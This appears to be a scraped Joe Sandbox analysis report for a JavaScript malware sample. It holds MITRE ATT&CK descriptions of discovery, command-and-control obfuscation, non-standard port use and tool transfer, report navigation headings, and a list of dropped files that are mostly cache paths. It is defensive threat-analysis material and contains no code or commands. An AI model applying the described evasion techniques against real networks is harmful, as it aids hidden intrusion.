Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 42384357676028189.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\834b73ce-67f0-4f8f-9d55-0396650a58cc.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8b370fab-3bdb-4cde-ab96-602a273db891.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF703315.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
42384357676028189.js